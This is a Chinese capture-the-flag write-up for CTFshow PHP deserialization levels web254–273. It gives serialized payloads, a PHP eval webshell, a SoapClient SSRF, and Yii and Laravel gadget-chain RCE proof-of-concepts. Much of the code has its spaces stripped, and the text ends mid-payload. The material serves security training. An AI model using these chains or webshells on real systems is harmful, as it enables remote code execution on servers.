0


CTFshow-web入门-php_unserialize-web254-278

前言

PHP 序列化及反序列化基础

反序列化学习笔记

[CTF]PHP反序列化总结

魔术方法

在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(

__

)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。

你可以在 PHP 官方文档中查找到对应魔术方法的定义和使用方法:PHP: 魔术方法 - Manual

一般在题目中常见的几个方法如下:

 __wakeup() //------ 执行unserialize()时,先会调用这个函数
 __sleep() //------- 执行serialize()时,先会调用这个函数
 __destruct() //---- 对象被销毁时触发
 __call() //-------- 在对象上下文中调用不可访问的方法时触发
 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发
 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
 __set() //--------- 用于将数据写入不可访问的属性
 __isset() //------- 在不可访问的属性上调用isset()或empty()触发
 __unset() //------- 在不可访问的属性上使用unset()时触发
 __toString() //---- 把类当作字符串使用时触发
 __invoke() //------ 当尝试将对象调用为函数时触发

一份比较全面的表格:
magicMethodsattribute__construct当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。__destruct当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。__call在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。__callStatic在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。__get当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。__set当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。__isset当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。__unset当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。__toString当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。__invoke当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。__set_state当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。__clone当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。__debugInfo当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。__sleep在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。__wakeup在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。
PHP 官方文档已经很详细了,这里不在赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。

web254-278

web254
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return$this->isVip;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;echo"your flag is ".$flag;}else{echo"no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=newctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}}

只要触发**vipOneKeyGetFlag()**函数就可以得到flag

考察基础的代码审计,满足

$this->username===$u&&$this->password===$p

即可

web255
<?php
 
error_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;echo"your flag is ".$flag;}else{echo"no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}}

与上题不同的是这次的

$user

是由cookie的user变量反序列化得到的,考察了基本的反序列化

要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。

<?phpclassctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=true;}$a=newctfShowUser();echoserialize($a);
GET:?username=xxxxxx&password=xxxxxx
Cookie:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
//urlencode O: 11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
web256
<?php
 
error_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;publicfunctioncheckVip(){return$this->isVip;}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunctionvipOneKeyGetFlag(){if($this->isVip){global$flag;if($this->username!==$this->password){echo"your flag is ".$flag;}}else{echo"no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo"no vip,no flag";}}

**vipOneKeyGetFlag()**方法要求username和password不一样,传入的类是自己可控的,改就行了呗

<?phpclassctfShowUser{public$username='xxxxxx';public$password='xxxxx';public$isVip=true;}$a=newctfShowUser();echourlencode(serialize($a));
GET:?username=xxxxxx&password=xxxxx
Cookie:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
//urlencode O: 11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}
web257
<?php

error_reporting(0);highlight_file(__FILE__);classctfShowUser{private$username='xxxxxx';private$password='xxxxxx';private$isVip=false;private$class='info';publicfunction__construct(){$this->class=newinfo();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classinfo{private$user='xxxxxx';publicfunctiongetInfo(){return$this->user;}}classbackDoor{private$code;publicfunctiongetInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){$user=unserialize($_COOKIE['user']);$user->login($username,$password);}

backDoor

的eval函数入手,修改

ctfShowUser

的class变量触发backDoor类,进行命令执行

<?phpclassctfShowUser{private$username='xxxxxx';private$password='xxxxxx';private$isVip=true;private$class='backDoor';publicfunction__construct(){$this->class=newbackDoor();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classbackDoor{private$code='system("cat flag.php");';publicfunctiongetInfo(){eval($this->code);}}$a=newctfShowUser();echourlencode(serialize($a));
GET:?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
// urlencode // O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUserisVip";b:1;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("cat flag.php");";}}
web258(+绕过正则)
<?php

error_reporting(0);highlight_file(__FILE__);classctfShowUser{public$username='xxxxxx';public$password='xxxxxx';public$isVip=false;public$class='info';publicfunction__construct(){$this->class=newinfo();}publicfunctionlogin($u,$p){return$this->username===$u&&$this->password===$p;}publicfunction__destruct(){$this->class->getInfo();}}classinfo{public$user='xxxxxx';publicfunctiongetInfo(){return$this->user;}}classbackDoor{public$code;publicfunctiongetInfo(){eval($this->code);}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username)&&isset($password)){if(!preg_match('/[oc]:\d+:/i',$_COOKIE['user'])){$user=unserialize($_COOKIE['user']);}$user->login($username,$password);}

多了正则过滤

/[oc]:\d+:/i

还有个小改动,把原来的private改成了public

这个正则表达式

'/[oc]:\d+:/i'

可以分解为几个部分来解释:

  1. /:正则表达式的开始和结束通常使用斜杠/来标记,但在字符串中使用时,需要使用转义字符\来避免与字符串的结束标记混淆。
  2. [oc]:这是一个字符集,表示匹配方括号内的任意一个字符。在这个例子中,它可以匹配字母oc
  3. ::这个字符字面上表示它自己,即冒号。
  4. \d+\d是一个特殊字符,代表任意一个数字(0-9)。+是一个量词,表示前面的字符或字符集可以出现一次或多次。所以\d+表示匹配一个或多个数字。
  5. ::同上,表示字面上的冒号。
  6. /ii是一个修饰符,表示不区分大小写。这意味着[oc]可以匹配OoCc

将这些部分组合起来,这个正则表达式可以匹配形如

/o123:

/c456:

的字符串,其中

o

c

后面跟着一个或多个数字,然后是一个冒号。例如,它可以匹配

/oc:12345/

/O987:

可以利用unserialize的特性在数字前面加上

+

即可,这里正则替换一下。

<?phpclassctfShowUser{public$class;publicfunction__construct(){$this->class=newbackDoor();}}classbackDoor{public$code='system("tac fl*");';}$a=newctfShowUser();echourlencode(preg_replace("/([oc]):(\d+:)/i","$1:+$2",serialize($a)));
GET:?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22system%28%22tac+fl%2A%22%29%3B%22%3B%7D%7D
// urlencode // O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:18:"system("tac fl*");";}}
web259(HTTP SoapClient+CRLF+SSRF)
<?phphighlight_file(__FILE__);$vip=unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
flag.php$xff=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip=array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token=$_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}

没找到可以反序列化的类,但是根据提示伪造ip后访问flag.txt可以得到flag,感觉考的是HTTP

看了大佬wp考的是php原生类

SoapClient
  • CRLF
    
    实现
    SSRF
    

从一道题学习SoapClient与CRLF组合拳

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分

隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,

这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

本题需要重点关注的析构函数

__call

在对象中调用一个不可访问方法时调用
在这道题中

$vip->getFlag();

因为调用了类中没有的方法所以会导致

__call

的执行
本题需要用到的函数
SoapClient::__call

<?php$url='http://127.0.0.1/flag.php';$post_string='token=ctfshow';$a=newSoapClient(null,array('location'=>$url,'user_agent'=>'hsad^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"ssrf"));$a=serialize($a);$a=str_replace('^^',"\r\n",$a);echourlencode($a);
web260
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo$flag;}

序列化出来的东西需要包含字符串ctfshow_i_love_36D,
直接传ctfhsow=ctfshow_i_love_36D试试,成功回显flag。

web261(__unserialize)
<?php

highlight_file(__FILE__);classctfshowvip{public$username;public$password;public$code;publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}publicfunction__wakeup(){if($this->username!=''||$this->password!=''){die('error');}}publicfunction__invoke(){eval($this->code);}publicfunction__sleep(){$this->username='';$this->password='';}publicfunction__unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code=$this->username.$this->password;}publicfunction__destruct(){if($this->code==0x36d){file_put_contents($this->username,$this->password);}}}unserialize($_GET['vip']);

PHP 文档中提到

注意:
如果类中同时定义了

 __unserialize()

__wakeup()

两个魔术方法,则只有

__unserialize()

方法会生效,

__wakeup() 

方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。

查看

response header

可知

X-Powered-By: PHP/7.4.16

,那么

__wakeup

部分就不会被执行,与注释无异。

__destruct

函数部分弱比较

$this->code==0x36d

,因为

$this->code = $this->username.$this->password;

username

可控制,因为

(int)'877.php' == 0x36d

,故传

877.php

即可绕过。

<?phpclassctfshowvip{public$username;public$password;public$code;publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}}$a=newctfshowvip('877.php','<?php @eval($_POST[1]);?>');$a=urlencode(serialize($a));echo$a;
GET:?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
POST:/877.php 
      1=system('tac /flag_is_here');
web262(反序列化字符串逃逸)
<?php

error_reporting(0);classmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}$f=$_GET['f'];$m=$_GET['m'];$t=$_GET['t'];if(isset($f)&&isset($m)&&isset($t)){$msg=newmessage($f,$m,$t);$umsg=str_replace('fuck','loveU',serialize($msg));setcookie('msg',base64_encode($umsg));echo'Your message has been sent';}

message.php

<?php

highlight_file(__FILE__);include('flag.php');classmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}if(isset($_COOKIE['msg'])){$msg=unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo$flag;}}

根据message.php提示,Cookie传入构造好的msg即可

<?phpclassmessage{public$from;public$msg;public$to;public$token='admin';}$a=newmessage();echobase64_encode(serialize($a));
Cookie: msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

正确做法应该是运用反序列化字符串逃逸,运用的思想跟sql注入的闭合相似

我们这里有一个序列化字符串,我们要改变token属性,但我们无法直接控制它的值。

我们只能给from,msg,to传递值,即这三个属性是可控的

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

假如我们向to属性传递 t=3";s:5:“token”;s:5:“user”;} 字符串就变为了下面这样

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:27:"3";s:5:"token";s:4:"user";}";s:5:"token";s:5:"user";}

我们对字符串进来了闭合,这样我们就可以控制token属性的值了,但我们也会发现一点,to属性值的长度变为了27。

反序列化时,如果为27则会匹配后面27个字符,这样闭合就没有效果。

这时候题目中的替换字符函数可以帮助到我们

$umsg = str_replace('fuck', 'loveU', serialize($msg));

str_replace会将fuck替换为loveU,且替换是在序列化之后进行,也就是说,实际字符串长度增加了1,但标明的字符串长度任然为原值

// 替换前
s:2:"to";s:4:"fuck";
// 替换后
s:2:"to";s:4:"loveU";

通过这种方法,我们就可以凭空增加字符,来成功进行闭合

// t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
// 后面多出27个字符,所以我们写27个fuck,替换为loveU后,增加了27个字符,来达到字符串逃逸

最终我们的payload为

f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263(Session反序列化)

刚开始以为弱密码,但是成功,于是扫描到备份文件

www.zip

index.php

<?phperror_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit']=base64_encode(base64_decode($_COOKIE['limit'])+1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']=1;}?>

inc.php

<?phpini_set('session.serialize_handler','php');session_start();...classUser{public$username;public$password;public$status;function__construct($username,$password){$this->username=$username;$this->password=$password;}functionsetStatus($s){$this->status=$s;}function__destruct(){file_put_contents("log-".$this->username,"使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}}

inc.php有file_put_contents,可写木马,user控制文件名,pass写一句话

session.save_path="" 指定储存的路径
session.save_handler="" 指定储存时使用的函数(默认是file)
session.auto_start boolen
session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)

使用

ini_set

指定了

serialize_handler

php

,如果默认的

serialize_handler

php_serialize

,就可以通过在序列化的字符串之前加

|

,反序列化任意对象。

  • php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值> 注意:在 > > php 5.5.4> > 以前默认选择的是 > > php> > ,> > 5.5.4> > 之后就是 > > php_serialize> > ,这里的 > > php> > 版本为 > > 7.3.11> > ,那么默认就是 > > php_serialize> > 。

那么思路就很清晰了,首先在index.php中的

$COOKIE['limit']

中构造

|+序列化对象

的字符串,访问首页写入

session

,再通过

check.php

加载的

inc.php

中的

ini_set('session.serialize_handler', 'php');

session

session.serialize_handler=php

的格式反序列化,执行

User

类的

__destruct

方法写

shell


构造

payload

<?phpclassUser{public$username="a.php";public$password='<?php eval($_POST[1]);phpinfo();?>';public$status;}$a=newUser();echobase64_encode("|".serialize($a));
Cookie: limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

访问index.php时修改Cookie并发送,然后访问check.php触发反序列化,最后在根目录下

/log-a.php

刚开始文件成功写入了,没法命令执行,木马后面加个

phpinfo()

就可以了,很奇怪

web264(Session反序列化字符逃逸)
<?php

session_start();highlight_file(__FILE__);include('flag.php');classmessage{public$from;public$msg;public$to;public$token='user';publicfunction__construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}if(isset($_COOKIE['msg'])){$msg=unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo$flag;}}

这次相比

web262

有了

session

的限制,就不能自己构造了,用起来反序列化字符串逃逸。

<?phpclassmessage{public$from='aaa';public$msg='aaa';public$to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';public$token='admin';}$a=newmessage();echoserialize($a);
GET:?f=aaa&m=bbb&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

在向index.php发送之后得到回显Your message has been sent,然后访问message.php(记得Cookie加上msg)得到flag

web265(引用 &)
<?php

error_reporting(0);include('flag.php');highlight_file(__FILE__);classctfshowAdmin{public$token;public$password;publicfunction__construct($t,$p){$this->token=$t;$this->password=$p;}publicfunctionlogin(){return$this->token===$this->password;}}$ctfshow=unserialize($_GET['ctfshow']);$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo$flag;}

如果要靠输入的

$password

去和

md5(mt_rand())

碰撞,几乎是不可能的。这里需要用到

php

的引用,使得

$password = 
&$token;

,那么

$password === $token

就没问题了。

<?phpclassctfshowAdmin{public$token;public$password;publicfunction__construct(){$this->password=&$this->token;}}$a=newctfshowAdmin();echourlencode(serialize($a));
Payload:
?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266( PHP大小写)
<?php

highlight_file(__FILE__);include('flag.php');$cs=file_get_contents('php://input');classctfshow{public$username='xxxxxx';public$password='xxxxxx';publicfunction__construct($u,$p){$this->username=$u;$this->password=$p;}publicfunctionlogin(){return$this->username===$this->password;}publicfunction__toString(){return$this->username;}publicfunction__destruct(){global$flag;echo$flag;}}$ctfshowo=@unserialize($cs);if(preg_match('/ctfshow/',$cs)){thrownewException("Error $ctfshowo",1);}

file_get_contents(‘php://input’)

在用php写接口的时候,通常会将请求的数据通过json的形式发送到指定的请求地址处,此时的file_get_contents(‘php://input’)
主要是用来获取请求的原始数据

其与POST的区别如下:

-------$_POST------------------array(2){[“name”]=>string(8) “zhangsan” [“pwd”]=>string(8) “zhangsan” }-------php://input-------------
name=zhangsan&pwd=zhangsan

只要序列化ctfshow类让他反序列之后触发__destruct()函数即可得到flag

由于过滤了

ctfshow

但是这里用的是

cTFSHOW

,在PHP中,类不区分大小写;所以绕过了过滤。

这里涉及到一个

php

常识:PHP大小写:函数名和类名不区分,变量名区分。

Payload:POST:O:7:"cTFSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
web267(Yii框架)

弱密码

admin/admin

登陆后,About界面发现注释

<!--?view-source -->

于是访问

index.php?r=site/about&view-source
///backdoor/shellunserialize(base64_decode($_GET['code']))

搜了一下知道是

Yii

框架的反序列化漏洞。

Yii反序列化漏洞分析

Poc

<?php
namespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct(){$this->checkAccess='shell_exec';$this->id='cp /flag 3.txt';}}}namespaceFaker{useyii\rest\CreateAction;classGenerator{protected$formatters;publicfunction__construct(){$this->formatters['close']=[newCreateAction,'run'];}}}namespaceyii\db{useFaker\Generator;classBatchQueryResult{private$_dataReader;publicfunction__construct(){$this->_dataReader=newGenerator;}}}namespace{echobase64_encode(serialize(newyii\db\BatchQueryResult));}?>

这里

system

不能用,用了

shell_exec

Payload:/index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
web268-270(Yii框架)

做法一样但是需要修改poc,因为存在过滤

<?phpnamespaceyii\rest{classAction{public$checkAccess;}classIndexAction{publicfunction__construct($func,$param){$this->checkAccess=$func;$this->id=$param;}}}namespaceyii\web{abstractclassMultiFieldSession{public$writeCallback;}classDbSessionextendsMultiFieldSession{publicfunction__construct($func,$param){$this->writeCallback=[new\yii\rest\IndexAction($func,$param),"run"];}}}namespaceyii\db{useyii\base\BaseObject;classBatchQueryResult{private$_dataReader;publicfunction__construct($func,$param){$this->_dataReader=new\yii\web\DbSession($func,$param);}}}namespace{$exp=new\yii\db\BatchQueryResult('shell_exec','cp /f* 1.txt');//此处写命令echo(base64_encode(serialize($exp)));}
Payload:?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
web271(Laravel5.7 反序列化漏洞)

Laravel5.7反序列化RCE漏洞分析

空格被过滤注意修改最后的payload

Poc

<?phpnamespaceIlluminate\Foundation\Testing{classPendingCommand{protected$command;protected$parameters;protected$app;public$test;publicfunction__construct($command,$parameters,$class,$app){$this->command=$command;$this->parameters=$parameters;$this->test=$class;$this->app=$app;}}}namespaceIlluminate\Auth{classGenericUser{protected$attributes;publicfunction__construct(array$attributes){$this->attributes=$attributes;}}}namespaceIlluminate\Foundation{classApplication{protected$hasBeenBootstrapped=false;protected$bindings;publicfunction__construct($bind){$this->bindings=$bind;}}}namespace{$genericuser=newIlluminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));$application=newIlluminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));$pendingcommand=newIlluminate\Foundation\Testing\PendingCommand("system",array('tac /fl*'),$genericuser,$application);echourlencode(serialize($pendingcommand));}

或者使用phpgcc

php phpggc Laravel/RCE6 "system('cat /flag');" --url
Payload:POST: data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22tac+%2Ffl%2A%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
web272-273(Laravel5.8 反序列化漏洞)
<?phpnamespacePhpParser\Node\Scalar\MagicConst{classLine{}}namespaceMockery\Generator{classMockDefinition{protected$config;protected$code;publicfunction__construct($config,$code){$this->config=$config;$this->code=$code;}}}namespaceMockery\Loader{classEvalLoader{}}namespaceIlluminate\Bus{classDispatcher{protected$queueResolver;publicfunction__construct($queueResolver){$this->queueResolver=$queueResolver;}}}namespaceIlluminate\Foundation\Console{classQueuedCommand{public$connection;publicfunction__construct($connection){$this->connection=$connection;}}}namespaceIlluminate\Broadcasting{classPendingBroadcast{protected$events;protected$event;publicfunction__construct($events,$event){$this->events=$events;$this->event=$event;}}}namespace{$line=newPhpParser\Node\Scalar\MagicConst\Line();$mockdefinition=newMockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");$evalloader=newMockery\Loader\EvalLoader();$dispatcher=newIlluminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand=newIlluminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast=newIlluminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echourlencode(serialize($pendingbroadcast));}

或者使用phpgcc

Payload:POST: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7